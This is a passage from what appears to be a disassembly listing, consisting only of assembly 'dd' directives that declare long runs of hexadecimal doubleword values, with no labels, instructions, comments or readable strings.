41D60880h, 93BF79E9h, 0CF898F6Ch, 89622089h, 85F01A57h dd 33AA7C46h, 0AD955AD3h, 890E1074h, 3644052Dh, 0BBEABE27h dd 44D0D910h, 6E15DD2Eh, 0E2D2C9E2h, 7C76168Ch, 9CF52DACh dd 474090F9h, 58E10B88h, 3C83D1F6h, 0E702F9DFh, 48B5E6Bh dd 80A65051h, 824B5FEFh, 9129E00h, 0EB49311Fh, 5056809Dh dd 299868h, 5582B48h, 14D808A4h, 17F48958h, 3C25D903h dd 28CF2700h, 0C0587CD7h, 2D45D80Eh, 2C33E960h, 0D2292843h dd 0CA69F505h, 5435F55Bh, 0B753A895h, 35B054F4h, 0A6230968h dd 0E1546DBCh, 82109102h, 5A52C047h, 8148B229h, 0CBE65E0Bh dd 51A68A7Bh, 0F2C40D17h, 3532AAFh, 3E04DA85h, 66079EEEh dd 0F10521ADh, 0DC2DD829h, 0D801E8FFh, 82E1529Dh, 327BC009h dd 208881E7h, 6E40A0F3h, 28EE2680h, 0CEFE0F03h, 0AA78538Bh dd 3F204597h, 91E65617h, 5E417B7h, 685030FFh, 0F09311A8h dd 7443FA02h, 290BC06Dh, 7E363A70h, 0FD50D520h, 482C218Fh dd 0C0B9F31h, 7CEB14CFh, 827D20D3h, 5E30C398h, 3ECD2542h dd 286B7A44h, 26109DBDh, 6AEA84D1h, 0E64DC70Fh, 644066E5h dd 55270168h, 31586E0Eh, 658288C1h, 0FB64134Ah, 52EDE252h dd 4E22BE02h, 207426FBh, 23E90305h, 9C00F3D4h, 28E8F680h dd 0A15A4AF1h, 7FC9F91Dh, 0F647ECC2h, 0ED5B1652h, 92C210CDh dd 12582D01h, 7829F4EFh, 28FA26EFh, 1332E803h, 0DFDAC20Fh dd 0A2594CCh, 3C38555Ah, 11BD5689h, 3B785C1Ah, 0A71C9A9Fh dd 48F5D400h, 4F003F3Bh, 6E54F781h, 0B72908B7h, 0D8C24141h dd 0FE608857h, 497EF2F0h, 44C982Fh, 6065E2CEh, 5446C222h dd 263C46F1h, 10AD42BAh, 80C478EEh, 5097D2F7h, 0A14A2588h dd 0D02F2059h, 57E5BD40h, 7113F62Dh, 0B7A43BD2h, 24415A60h dd 3A299CBBh, 0D12A6B41h, 4F0AC68h, 0E31F04BAh, 97A812B9h dd 0ED4DB44Ah, 5CCEB03Eh, 0E82B568h, 3CA009DBh, 8CA9FE41h dd 0CA4DCBBFh, 40837C5Dh, 7F074AA1h, 3C7DB9Fh, 509F8D5Fh dd 32E02200h, 9BE94C3Bh, 2F3F92C1h, 23F1742Fh, 0E1310EFh dd 0E66F7F1h, 44F98851h, 49C159CAh, 317ACEB9h, 54B0FFCh dd 0C141D105h, 11272065h, 5F741EF2h, 71F28766h, 8853B0A8h dd 0BA50E739h, 6B63D8F8h dd 88C671E4h, 290A56A6h, 0DF01E8FBh, 18CA685Bh, 7485E901h dd 810935E0h, 55204240h, 1E90A564h, 24C1FE40h, 54605EFh dd 0C02A7BACh, 61CBC6B6h, 2957F013h, 800C4E1h, 0C086DEE9h dd 79B951A3h, 7A16BF01h, 0E909D9F7h, 77DC86ADh, 4B4B7E0Ch dd 2553ECF4h, 4B07959h, 0F3A7B6E9h, 9AA25E51h, 42976D16h dd 650CA140h, 8DAF543h, 0A3DF8D84h, 95B02A5Bh, 5C79AD90h dd 94DE0275h, 6771B907h, 2DE978CCh, 0A55EF7C3h, 504664EFh dd 5B1930BEh, 5F5B5E6Fh, 2617AABDh, 97FF9C2h, 0B0504168h dd 270AFEA9h, 0BF001B75h, 405999F2h, 49E9230Bh, 409FDEE3h dd 0F58102E5h, 82F8070h, 574D42A2h, 0E4E95C38h, 0AD13369Ch dd 34C71101h, 0FB604CAAh, 512E753Ah, 1020C4F7h, 0AA17FEEh dd 0C60150AEh, 610820D5h, 6B58C957h, 64242B3Bh, 0FE0F508h dd 99254D05h, 80468407h, 0A76F4630h, 0F95881E5h, 0E9680E4Ah dd 30A5CE21h, 1401C37Ch, 2955A34Eh, 9A0CD8DAh, 0E9B9B405h dd 0FFFD0284h, 0CBE9F999h, 0E94F7E3Ch, 3F3D8441h, 45374EAh dd 2AF9A23h, 0DF51E1F7h, 0DB97E0BEh, 4AA032EFh, 4577866Ah dd 0CBD91F48h, 1E71F1ADh, 0D96C348Bh, 0E378522h, 0E957C246h dd 0CF620F71h, 28BF258h, 0DCEC468Fh, 0B07FDE01h, 9ECDE9B1h dd 4BD925D2h, 8B79746Bh, 0F0DCCDA7h, 832FD49h, 15DDAE81h dd 0C3472026h, 1BEC8D5Eh, 3E9C4BDEh, 27C80127h, 8C646F0h dd 0F296D1A0h, 95994C83h, 2ECCF051h, 0FC7E4403h, 3C02120Bh dd 2F018CE9h, 0D390B5C3h, 0A082605Dh, 0F7FD8762h, 1308DAD7h dd 8BDAA057h, 97D446C3h, 0C0CFC063h, 0FDA65AA0h, 0C7BD094Fh dd 1D94E987h, 3E004254h, 3075E77Fh, 0A525E90Ch, 7E67FC6h dd 4A017B16h, 0AFCC70Dh, 3B605501h, 310629C7h, 3087FCEh dd 9D990191h, 4AC0503h, 0F1CF142h, 1B842A85h, 0D5B0060Fh dd 95433118h, 8C5B6008h, 8162618h, 18B16305h, 818E49Eh dd 4A1868E6h, 8E178049h, 3A0F10C6h, 704F2008h, 20E6F631h dd 891FE09h, 5C6370FBh, 1841AB20h, 18D7AE08h, 0C9C896A5h dd 61A90888h, 18BCA608h, 656E8980h, 0DCEE38C4h, 470D804h dd 0CC06B349h, 2D31207Ch, 76A1088Bh, 8C846001h, 8C82C20h dd 3B9240F3h, 40FDA440h, 4862B48Fh, 2508C30h, 0E303AFB1h dd 1F183105h, 3ED2C99h, 1739106Dh, 3EFD1820h, 0C6943908h dd 8CABF18h, 18261E37h, 3608A2F4h, 0C07BFE8Ah, 31A43195h dd 693D1053h, 0B0DB0888h, 20440A0Ch, 81D6224h, 7C0390CAh dd 23201958h, 242F98Fh, 1C94A3FFh, 7008150Bh, 0FB20B4B6h dd 31629720h, 2B203B28h, 22088C45h, 405618B4h, 7A641430h dd 0D81E8B31h, 0BF3E08A3h, 998C3181h, 0AD10DB94h, 4C214D64h dd 8F65506h, 28755031h, 76014F1Dh, 83108C43h, 7CB5086Ch dd 3CA28274h, 0AC056E9Ah, 0CC37D846h, 84E66E9h, 883151E7h dd 7F610812h, 1844B01h, 0B20174B1h, 0A030BD68h, 81A1206Dh dd 24731320h, 0AA20C48Ah, 5AC5208Ch, 20D47420h, 0D329CDAh dd 0A26C08D0h, 498245D8h, 58246F48h, 4238C47Dh, 93B10470h dd 923CB904h, 8E02A198h, 87AB0382h, 8A721012h, 18203C48h dd 0E537B1CEh, 35F708C6h, 0B2BD2018h, 20F96520h, 4933792Fh dd 0A68F0851h, 82AD818h, 0F683841Fh, 61AD20F1h, 85FE732h dd 0A5984B8Dh, 2527AC49h, 8449B640h, 6918AE67h, 75E42463h dd 188CD01Fh, 6F08E00Ah, 0EC30C622h, 0DD6699A5h, 32111908h dd 1E204D15h, 3AC5F8A2h, 4859D02h, 58949173h, 0A28E02B9h dd 3B7C6CCh, 2944C3D7h, 0F0407BA4h, 347740E4h, 0ABACA640h dd 891C4BCh, 10889807h, 870C183Ch, 40C0081Bh, 9C136054h dd 0A424E8FCh, 0E9C906AAh, 8B3C3644h, 12672C7h, 47801342h dd 0EB02752Ch, 0E896313h, 3D7AA7B9h, 44010500h, 0B49408Fh dd 0F77517C9h, 7A4E1C8Bh, 0F003DE04h, 33D7B4B9h, 0F0CC078h dd 2C304FB1h, 7DE91AACh, 0E6DF1E1Bh, 68F0F793h, 123AD340h dd 9F35B961h, 55FAAEC9h, 5C9F86E5h, 77B749CBh, 5EFE589Eh dd 910FEA50h, 6756A716h, 38F89EB1h, 0BA1CC084h, 6C8E62C7h dd 30FA3139h, 0DFF708D7h, 2DE9F087h, 9DD148F3h, 0A619092Ch dd 10F84210h, 0A2B8D33Fh, 0E90D98FEh, 2EA869ECh, 84CF62DEh dd 540509FBh, 0F515F85Bh, 1B0C8BFEh, 0A772165Bh, 5A9AE063h dd 0C096A828h, 0EE3B43C6h, 284BB81Dh, 1708B850h, 3603C0E9h dd 0A9751CC2h, 25226C01h, 10E15E06h, 8097C72Eh, 344558DCh dd 90D0F72Ch, 8E8C3505h, 4D600EB1h, 0CD810303h, 6DF45932h dd 2A60C0B7h, 0C5B89C89h, 0B827F100h, 0E9EA0168h, 78476BE6h dd 0D271B57Eh, 23E447Eh, 9FD8AE34h, 523BC0EFh, 7A71A568h dd 215A460Bh, 8AB2F7D5h, 19B191C0h, 0E9452905h, 920E0658h dd 33AAC65Dh, 0AC4D4A0Ch, 2A2065B2h, 9EBBE56h, 5C7E52F7h dd 25117F02h, 7C8A859h, 0DA015A06h, 83EA0114h, 97CDE35h dd 0D580F2D3h, 5E75CA5h, 50630CC5h, 0BF57A800h, 48160C96h dd 7D05B87Ah, 0C04E9864h, 0C92526DAh, 8CF04F5Bh, 88436785h dd 7DE7624Bh, 2D045155h, 7E54E6A0h, 0E91A2EA3h, 0FFCA44ACh dd 6804E7CFh, 0AFAC594Eh, 195CF296h, 43401F55h, 9726D8D8h dd 6E7BBCC8h, 180EF74Ch, 290D7FF3h, 0BB949DD9h, 0D2275155h dd 3CD7B2A9h, 0EE92532h, 0D47278E2h, 17685005h, 0CBFEFD6Eh dd 2C050752h, 0F722DC11h, 0EADCD8h, 59586072h, 0E1012BBEh dd 0EE81467Eh, 58CE38C3h, 3C3265A3h, 7F1095Dh, 3FB4C01h dd 0E5D1C555h, 60DDEE83h, 25A6CA1Ch, 8A517336h, 0E9565781h dd 0A004181Bh, 3A0E9AEEh, 0A2BF0E49h, 0F8354124h, 22BFF29h dd 71E95F67h, 0C7D52C4Ah, 0CC0E0AC0h, 0A6D897E7h, 0BD5503FFh dd 0F06A05B4h, 0D34990E9h, 8F90AD46h, 0F437A653h, 0E9469F42h dd 0F970807Ah, 1E54C09Dh, 0AA3CD607h, 98FA7075h, 0FD40410Bh dd 562C588h, 89DDAC5Ah, 34CBE0E1h, 48F09F76h, 2F13E697h dd 0D1CA54A0h, 5DA09ADFh, 0B9931B79h, 7D0EE7B2h, 0F5A1D5F6h dd 6FEF30B7h, 26E992D8h, 0C804BB45h, 424808A4h, 4ADE402Fh dd 0F54FC09Eh, 59EA086Ch, 0FB7EF2ECh, 598F9F25h, 7EFCCB85h dd 0C4B509CEh, 970E8463h, 0E91D7FFAh, 2FED3BD3h, 99820611h dd 42D86525h, 407124Eh, 42153B4h, 8B8BFC30h, 0DFEC8005h dd 0BECB1328h, 71685C31h, 22B255E2h, 8463DB09h, 8D3228F9h dd 8E397EB3h, 0BB1C140h, 0A44E6471h, 97871646h, 0A01A6D82h dd 6BECBF80h, 87034E43h, 4EF31E3h, 1BD2047h, 0B7CF8102h dd 603F853Eh, 27C2233Ah, 615C12FFh, 5007E904h, 687D9CEEh dd 0E67BF327h, 29D31281h, 0C098AE01h, 0AB226084h, 4C210CC5h dd 0EB313B17h, 3D1DAABCh, 0FB255774h, 2C086950h, 1416965Bh dd 0F94A9AFDh, 0CF2D01C9h, 5A2B1815h, 0D12D983Eh, 4436141h dd 0AA17C12Ah, 0DB7C10A7h, 0B7FBCF70h, 6812F89Ch, 1AA872FDh dd 787D16C0h, 3271E94Ah, 0F9C8015Bh, 2B946005h, 0CB215BD9h dd 0DDF7FF62h, 0AF1075ADh, 58B7262Dh, 42CAD2B3h, 0B335EF7h dd 0F876C78Bh, 58CCDA02h, 4798DE48h, 1BCD6252h, 0F4C6E9A7h dd 0F5A7F85Bh, 200C9CAAh, 0F49C6A46h, 95C901FDh, 0EC7C0443h dd 0E8B7DB36h, 2D21AB76h, 0A0D24BBFh, 62058017h, 2F028106h dd 3CB72F90h, 0D8744F5Ah, 0A2B9B1D2h, 223E9E0h, 0B4503EC0h dd 7BB551F4h, 43C5257Fh, 283C9B55h, 90D9CF24h, 828A206Ch dd 5A0FED90h, 65755776h dd 6BC817DFh, 454F4885h, 70E228D8h, 380C533Fh, 0B831418Ch dd 5CAD61E8h, 0A36E0E2Bh, 0FAD75716h, 8BE9910Bh, 3DFE6FAh dd 1BF360DFh, 81904941h, 13D5DCE9h, 9885A4Ah, 0E4599FC1h dd 4C62186Ch, 292D9832h, 91B69884h, 7B1DB034h, 0FE045CD9h dd 45BBEF95h, 0B0D8D04h, 4C56A473h, 73E0FC27h, 77E8F605h dd 0C4FA2E09h, 3A8E8225h, 7E726CF5h, 3DDA93B2h, 0C2A97EB0h dd 4C252FF9h, 37E57843h, 5B2BC5E3h, 2F6FC108h, 969D4258h dd 4329F7FBh, 6AE2E983h, 8CB8104Fh, 6876E0B5h, 49557E2Ah dd 7E6997BEh, 5A12000h, 4E9C1DCDh, 510AB29h, 685D0408h dd 0DAFB2FC7h, 0C4E90AD2h, 4427A10Fh, 0F9D1252Bh, 0E68317CCh dd 6CCBA9E1h, 0BC5BDE06h, 0F4D14B2Bh, 7740DBE2h, 17013EBFh dd 8FC04E27h, 0F19F8168h, 0FB04BC32h, 0C825E308h, 0C841D40Bh dd 0E47FD83Ch, 0E78106DFh, 0DE7F63A7h, 0AE31D634h, 0B5491904h dd 8D765A1Fh, 33F39107h, 0C3DB1F80h, 3546ADDDh, 48E8C1DBh dd 75865589h, 0DCB05211h, 8225B709h, 864C756Dh, 71C1035Bh dd 14A510E0h, 8154375Ch, 0E724FF8Fh, 25F57729h, 4DF170B2h dd 8967D49h, 39E66812h, 759CC9AAh, 36A9C111h, 6BE748BDh dd 7B18D510h, 0B9C6608Dh, 4C1007E8h, 3C8FF45Ah, 10D43106h dd 5B7EBE01h, 0CE816A1Dh, 0E31072E8h, 4935CA9Fh, 0E7F875D9h dd 0D1B07183h, 765EDB28h, 663C50B9h, 0E9791B82h, 0E2D6ED98h dd 2D1F4288h, 0C0096D4Dh, 0B29A88E3h, 0EB4B8612h, 7438D518h dd 98A59D87h, 90EA8002h, 84476250h, 8DD41BE1h, 7690B7AFh dd 0F35C4F84h, 55FB4A9Ch, 7548B966h, 755F6A18h, 0DF8AD6ABh dd 94B8BCB0h, 316B3612h, 45B86416h, 6875CC5Ah, 1C2FCE26h dd 2A7F5C3h, 534AB71Bh, 60DD5A0Bh, 0C59543AAh, 0F8029A1Bh dd 6D21A593h, 0BF471094h, 0F75FF822h, 20F3AA60h, 25ED02F4h dd 0C2178D7h, 34936785h, 0B9E1704Fh, 95588C2h, 0D9C7AF39h dd 27E16224h, 555D4068h, 0F40C872Fh, 69A85A9Bh, 0E90B31FBh dd 0DF88A435h, 0E6042A83h, 5D518858h, 4F4D5E59h, 8DC779B0h dd 52E5616Eh, 7E70D940h, 0C2686607h, 4EFD0D4h, 0AAF301BCh dd 5A08CB35h, 0D2F70B3Eh, 90F92C82h, 54C7CCAFh, 1F8C2A91h dd 0C0934ECFh, 0E5CBBA12h, 3DF76D11h, 0CAACDBC6h, 27469DDFh dd 0F0828F93h, 67A4C165h, 0CAFC25h, 0E9FC8889h, 0FB9EBD47h dd 0C46C79Ch, 90C72F2h, 6E74ADF7h, 0BB4F097Dh, 2AB43E08h dd 0ABED39E0h, 0C580D525h, 57080A1Ch, 0A09A293Fh, 141CD008h dd 793F0952h, 3888A058h, 460E47ACh, 562B005Dh, 2512A0BEh dd 0E98F78C6h, 30497D03h, 7A19A0B7h, 18C03667h, 7EE40EFDh dd 6659229h, 0D76A1BE5h, 400B844Bh, 82432241h, 0CF15A2Eh dd 5C3C1D36h, 1027FBA7h, 6FE5DCCDh, 0BCD48324h, 716EC629h dd 16407E10h, 0ED0141DEh, 0CD29844Ah, 0AE7765BEh, 13389661h dd 5B5E0A89h, 3120984Ch, 868A709h, 722D6B99h, 0F4ED7E87h dd 1040B71Eh, 86A3866Dh, 0D60D40F7h, 484AE921h, 0E7695112h dd 4AA2CF6Eh, 9B3FD5ACh, 0C36AC216h, 0F4F9703h, 93D493FDh dd 3349397Dh, 409B9650h, 0B30A685Eh, 0AA69081Ah, 0E9065D0Ah dd 8002F040h, 944DF63Dh, 29582470h, 8C126BCFh, 34896C77h dd 94BD0DE5h, 6D88BF76h, 3D806388h, 3CC251D0h, 531F8058h dd 0F389BCB3h, 4ECC8173h, 0D8C0DB2Ch, 876FE904h, 91D95E2h dd 16F7AF98h, 0EEABA8F9h, 948BD78h, 0D83D4553h, 9B21A405h dd 28FFB583h, 13C0C9EEh, 95CF6E34h, 82A4145h, 0A0EFE925h dd 1FC8EDE2h, 0C716017h, 920AE0BFh, 2AF070B7h, 25A7B41Eh dd 0E7E91224h, 37DC3E80h, 493DF856h, 2C2D1E1Eh, 7E6B75D9h dd 2BC456DFh, 22FF7729h, 98501054h, 0B50E6CB7h, 3031A3CCh dd 46349F4Dh, 0EFC15F00h, 0DF7B2EB8h, 8880EAEEh, 0D9D995F5h dd 92FC1770h, 0B7978004h, 5B0ECC98h, 0F5240EAh, 1E309781h dd 0B28A1DE9h, 0D4F33EAAh, 74F80328h, 685B0C2Ch, 0F295D95h dd 0CF4BE060h, 0F34E0986h, 3082F7D8h, 0E90C7F49h, 9D02122Bh dd 55F9011Fh, 5D088568h, 2D2047BFh, 19F5FB0Eh, 5EF550BEh dd 306F1825h, 118157Ah, 1136C9Dh, 0CF19F9BDh, 3EDDF70Bh dd 54066B1h, 59221073h, 0C51D3923h, 0D10E0F98h, 0ED7EFEBh dd 8ABB12DBh, 808B2780h, 24EBBF4h, 75727AAFh, 62609ED9h dd 5F04CB15h, 0C61FDA81h, 6E3F892Bh, 0C02FF10Bh, 2B652A3h dd 8054B102h, 0AE8433E1h, 0D9DAAE0h, 8F6C3A31h, 7FB5627h dd 4562E961h, 24D20F39h, 0D8ED093Bh, 0FC950614h, 41610CE9h dd 305A0C10h, 134E26A8h, 0CC3CAB10h, 6AF625E9h, 78DD9027h dd 0F74C871Dh, 0B04D08D3h, 2A429202h, 0EADFEF68h, 0CF594B20h dd 45E9136Ch, 0D55E414Bh, 0CB401DBAh, 7B2D161Ah, 2E9A2511h dd 0D9BA9712h, 0C4980406h, 6875309Bh, 18BD405Fh, 0C4FE3F07h dd 0B310051Bh, 5E1A402Fh, 8897E927h, 0A324C9B3h, 6574E9D0h dd 841140Bh, 0F827919Eh, 285EEC0Ch, 9DB0254h, 831A025h dd 0EFAA6005h, 0D4C54CAh, 78216C04h, 0C046BB61h, 32A3787h dd 18B51CB0h, 52D9C528h, 0DB2D7ABCh, 63B9A43Bh, 767F2A17h dd 0C01619Dh, 843AF5E9h, 0F09A21ABh, 0FD0D001Eh, 1AF40071h dd 503E0C1h, 152F28CCh, 809B4885h, 0F1EAB4E4h, 0DD5F4158h dd 0B956972Bh, 7F96431Dh, 650BE013h, 37E9F907h, 7D5BA206h dd 91244251h, 1987F24Fh, 7CF2A252h, 84A94F13h, 515054E0h dd 0E205A90h, 68662685h, 0CAF18A1Eh, 30298AF1h, 0D812BC5Ah dd 9EB9BD71h, 5F8B5985h, 2DCA93FFh, 0C72290E4h, 0D83D3BDAh dd 74449003h, 7BB4500Fh, 0F564F04h, 0F39AC554h, 188B325Fh dd 0CE562038h, 30F23159h, 0AC6C525Eh, 140D8579h, 5173A6E9h dd 476C9FD9h, 89045B1Dh, 2686FE2Ch, 2F27C333h, 9F34F167h dd 85AED7EAh, 6F73F3FCh, 6DDF2F0Dh, 797F08FBh, 0C7EC2D07h dd 0CA26D131h, 0A766BF08h, 9D18AAEDh, 0B572B958h, 0EE7FD8FEh dd 0ED693801h, 15F4E932h, 58C7F650h, 5FF80431h, 8D51CE68h dd 96F160BAh, 7AC94D00h, 99776BEh, 0D5E0BFA1h, 0E913D6F7h dd 5AB3A0D4h, 8C580804h, 80E1C469h, 1BF581EEh, 119D2D00h dd 123E6850h, 0F7425C0Eh, 98CC35B0h, 1C5E01Ch, 0C38CF6A7h dd 6725EAD9h, 9C6278F8h, 712C0094h, 0F1014F9Dh, 5BE2E948h dd 0A25C77E7h, 11EA0603h, 6D4FBA52h, 7A140000h, 2927C0h dd 0CFBB53F2h, 43239520h, 0B13E3FEh, 1D06AC0Ah, 1355E2Fh dd 0BE0767C3h, 0F4EB2974h, 0E4BF12DBh, 4EF2F09Ch, 0A87C6558h dd 26F24B6Eh, 0FC88D662h, 0E940CB59h, 0B40112AFh, 74BA40C6h dd 0C9B02C3Eh, 0E20DB669h, 0C0C657C3h, 51CAD6C7h, 6D057690h dd 2A442F26h, 25071E08h, 58359177h, 66537660h, 74C6D550h dd 5A7B09F6h, 1348B4FAh, 4FD09D9Eh, 88506601h, 0D1D0F6C8h dd 5AA63AC1h, 0CFE9800Eh, 0FFDA585Dh, 0F2001334h, 52EA8145h dd 98179E14h, 0A3C4581Ah, 48A6DA93h, 4DB416B7h, 0E1284BCDh dd 586A896h, 2350624Ah, 0B39E691h, 589C56h, 282E2CBBh dd 5BDD3108h, 0F7A701B7h, 7F3D2DD8h, 0C4610275h, 7FE98559h dd 8816E2F8h, 5A245BDCh, 7EF218C2h, 9A56AFCBh, 7A7B1340h dd 0A5E92C16h, 315E8073h, 88685AD0h, 0FCFC93B2h, 596C3065h dd 0D725A8F2h, 91F7B523h, 315098B0h, 0C92CF95Eh, 0A3155BFCh dd 57CD1D3Bh, 44BBEF96h, 1634EED4h, 0FF293F0h, 0D2AF04EDh dd 478294A6h, 0EA9FF87Ah dd 0A1CE5794h, 9185AA4Bh, 8F134BFCh, 0CD31AE6Fh, 0FB296D62h dd 0A673B302h, 0EE558936h, 0E979BE37h, 68049155h, 525196F4h dd 5613A6A0h, 0D6BA4D3Bh, 0BF04E831h, 1AA0E5D6h, 0D997A0CBh dd 6B7F965Bh, 9E8B6402h, 4FDEC4Ch, 0A4988EC2h, 0DA80DB83h dd 261230C3h, 77515C4h, 693B1109h, 840285Dh, 35EAE904h dd 8F80EFD4h, 582C73BEh, 0BB01986Ch, 0BAE9D1C1h, 79932D3h dd 3E1B608Dh, 575D85B2h, 288BA699h, 0DEBF0E77h, 30A06C6Ah dd 7D2D3820h, 0C657C2DAh, 58E90882h, 68154DD8h, 1CC51CDDh dd 472C3175h, 8C11064Fh, 0CB71BF7Bh, 1D7F709h, 221493Eh dd 0BFFCE620h, 0E05C8BD2h, 71542573h, 92D1A650h, 68E44044h dd 45908A12h, 0C3F0BC92h, 0AA7F4B62h, 315D022Dh, 4C1C0B0h dd 0B2651897h, 1F519D36h, 47AAD2CFh, 0A119BFC6h, 0EC4771FCh dd 9BBDFF9Ch, 2E2D10BEh, 4A924B02h, 0E51CD521h, 5376499Fh dd 0B8868539h, 4C9856EEh, 4D4C6B0Bh, 3AD2027Fh, 0AF5F0595h dd 1EAF1D85h, 0A870DF56h, 53271EA5h, 0BCD83F3Fh, 0D08C728h dd 41E9C35Bh, 0B2C54457h, 1BE9C21Ah, 81B105F8h, 403AB49Dh dd 3BEAD1E4h, 840FC20Ch, 4E512329h, 5A97E654h, 0D6100A9Ch dd 7BA2996Fh, 0F8104AB6h, 22F640EDh, 0CE41325Ah, 55B2277Dh dd 0C7731892h, 845EE90Eh, 0F32690Eh, 91F8173Bh, 0F1DBAE92h dd 0DF505C25h, 856FC169h, 12EB070Ch, 2B45E53Eh, 5C8B04E6h dd 2677FA10h, 0E93C0104h, 918DC29Bh, 1D55FF20h, 0BE20E146h dd 35054C85h, 1CB88670h, 7EE90880h, 4738B169h, 4AE905A4h dd 94578889h, 12582F00h, 0AB36A92Dh, 16C4EA0Ch, 0E015715Bh dd 0AF9208E9h, 0E4805A04h, 0E7E066E1h, 9019428h, 0B052D437h dd 0EC67AC01h, 0A8F18160h, 92B20DA6h, 0B422B82Dh, 9254DA64h dd 61123208h, 97B864F8h, 7151DFD6h, 871F526Ch, 100479CBh dd 0FE2A3745h, 0DBE68A81h, 916663FEh, 3070D1D3h, 32B1E151h dd 0D27971C2h, 0D38872C8h, 4EDBF63Ah, 0E876F6FCh, 0E9A9A080h dd 0B3F54E8Dh, 0A4AC17ACh, 317729FBh, 0EAAE5468h, 4BECDD75h dd 0A2E3F85Eh, 49805E53h, 68B681D7h, 0DD8A6221h, 47FDFA45h dd 0FBE38202h, 3850D157h, 0A993E227h, 6CEFB0C1h, 0C207CB30h dd 0FCA1408Fh, 56E83069h, 0E77C9E0Ch, 0DEC8226Bh, 0FF7325CDh dd 4644D425h, 0DAC9215Eh, 5A890051h, 0F249B552h, 0BD00BFF1h dd 771D0F1Eh, 554BE93Ah, 0DFB26FADh, 50329A10h, 7A09EB42h dd 816C0830h, 0C847D126h, 1CFB329Ah, 81C080Dh, 167F7214h dd 0C22D21EDh, 1774FC90h, 0F4C3DDC0h, 0BD72117Eh, 0E7CACBE3h dd 2C7C0340h, 0E4F99Dh, 7FEC18DEh, 255DE94Fh, 0EBF95085h dd 241AC5Ah, 31AF2D68h, 0E4795164h, 0C8017639h, 0C1059026h dd 0FC9D02EAh, 4FBA68D5h, 60548A17h, 0F6333B2h, 0FD2074B0h dd 0AEBF0738h, 0A4368576h, 58B1F088h, 125B679Fh, 0B9A7E0E0h dd 9D2EE109h, 237E0076h, 258962D1h, 0E172EFE9h, 1A756C2Fh dd 0AB68C036h, 0EE48BA25h, 6C872768h, 0E590F496h, 0CE300202h dd 8C70179h, 9242908h, 0DD6AE8B2h, 0E2D14F8Bh, 0F0AAFB8Ah dd 0F72F1AA5h, 0E91AE296h, 542CAE49h, 0EE27560Ch, 0BDCAC698h dd 0E985E54Fh, 0C45826D2h, 80CAEAA8h, 0EE253058h, 2772FC59h dd 0B4C0265Ch, 1EC4802Eh, 0EFE4C0B7h, 0CC6FF5F0h, 0E9528109h dd 57BB8053h, 53EC8216h, 99B5A889h, 44D06848h, 0E9780CB2h dd 0E2D7DA95h, 2A11981Fh, 7AC0C70h, 635D49D6h, 8769190Bh dd 61554080h, 0E6987594h, 32166A76h, 2105297Ah, 24FA1D1Eh dd 2824C268h, 5E4BC170h, 9F8C28BBh, 42826C12h, 171AEB0Eh dd 55CA26DCh, 34A85C59h, 328B04DFh, 0A84A7D42h, 0D80210BDh dd 5825BF04h, 0C7A5C080h, 7C091855h, 0A717E9DDh, 0E0CE5A32h dd 7B6FF913h, 295B5851h, 2A129C25h, 0C7AC93B8h, 0CDB2C4B5h dd 6ADF9D68h, 0ADAC5A0h, 5F56AA70h, 0B630397h, 4B083F16h dd 25915DE9h, 1383FF9Ah, 61129580h, 92EEEA09h, 527EBAA7h dd 0F6163D61h, 0B0C74F7h, 17E3868h, 0ADF60555h, 9D29AE8Ch dd 5A1275DBh, 0FBB162B8h, 0EB8A3EC8h, 83B5F24h, 0BA017684h dd 132F02F3h, 9EFADC80h, 0D109D852h, 2A94E917h, 0B36477FFh dd 0CB3B386Bh, 4C01C0A4h, 0C84B56F5h, 5A00493Dh, 0BD552E3Bh dd 683C05E3h, 9D61829h, 0A0C05B6Dh, 0C080838Ah, 2C0339E0h dd 55275DC8h, 0F27323DEh, 40F26AB6h, 2F406D42h, 64C21C2Dh dd 20A94C1h, 5046555Eh, 6C56AEF8h, 83E14D82h, 2A4AAF68h dd 95B08329h, 359B4B54h, 1EAE9DFh, 1106A07Ah, 0A9E7E3DFh dd 5210F63Eh, 2A6F9681h, 0A2A30F2h, 20107302h, 9E0CEE9h dd 141D20DFh, 1D288A0Eh, 0AD1E6858h, 65CA1D98h, 587FB827h dd 4DA80B59h, 18002308h, 2BCF639Ah, 160915B0h, 70200A0Eh dd 86BA12Ah, 334E6CDAh, 0F6C4E8D3h, 0DE8852A8h, 584E1B7h dd 0A4EB0120h, 677607A7h, 0CE5E11D7h, 808CB24Ch, 48EAF238h dd 55B24FEAh, 4B0E29Ch, 0B5653226h, 0FECFB360h, 404D2CBh dd 0B5C6606h, 13474653h, 0F85DEB89h, 0F75B8B83h, 76953194h dd 8FE9E3CBh, 2BB01CD6h, 86C4EE4Bh, 0CD8F0B8h, 9F2D8F21h dd 2D105EA0h, 6180DDB9h, 0FC686061h, 7CBBC840h, 62BE2D54h dd 12F9C9A0h, 52B561D9h, 0B461989Ah, 49BD073Dh, 0A21A9707h dd 37C487A5h, 46868425h, 0EF88279Eh, 0F2A4307Fh, 8CB89784h dd 5582ECF1h, 935AF60h, 0F0CFBF1Fh, 9B713D49h, 0E0A9C79Bh dd 0FEF90949h, 0D2104E2Dh, 0AFCA2E95h, 35C63D80h, 0C2E63C4Eh dd 82AF0BD2h, 92ABEB51h, 0B6C0EFF6h, 0F0F5085Dh, 0EDD0075Ah dd 8C80DDF6h, 2445D982h, 8C85ED3Bh, 0AD6C51h, 405E1F41h dd 0E62C8005h, 8F86B050h, 0CC414C41h, 0C87B357Bh, 5CFE5601h dd 4F4E9F59h, 83D385ECh, 0D48855DEh, 0BAECE974h, 23E197E1h dd 81BA12C5h, 3319B0A7h, 0EAD11E85h, 14CEF78Ch, 0CD81034Dh dd 2AA01299h, 19BCC2BCh, 5087B0FBh, 7939BC68h, 67F04BD7h dd 96567395h, 8CC1688h, 57059D8Dh, 87E20CFFh, 945CDA13h dd 0AA01AE15h, 0DEF63AB6h, 3980D6C8h, 0CDD1C1E6h, 2C9DEED8h dd 1DF38C04h, 345A042Ch, 0DBB0FA50h, 0CCFD5AB0h, 2C416131h dd 760123Fh, 453CBB06h, 5299801Eh, 4590DE61h, 0A5A228ECh dd 2010ECDFh, 0C295E6D4h, 18BE05Ah, 66870002h, 0DB6F07B9h dd 0F13E29CBh, 953DF95Eh, 7AE0CBFEh, 17DA0D49h, 6ACE01h dd 1E03E908h, 255C92C0h, 7BB62BE3h, 0C0732A69h, 4DE177A7h dd 0AB414408h, 94BDE92Ah, 127510BCh, 1E956809h, 5F55327Dh dd 3DE945B1h, 0C5368545h, 0EC4A47F2h, 0A500D395h, 44801825h dd 11482AE9h, 0D4E607FBh, 0B3210F0Eh, 170287F6h, 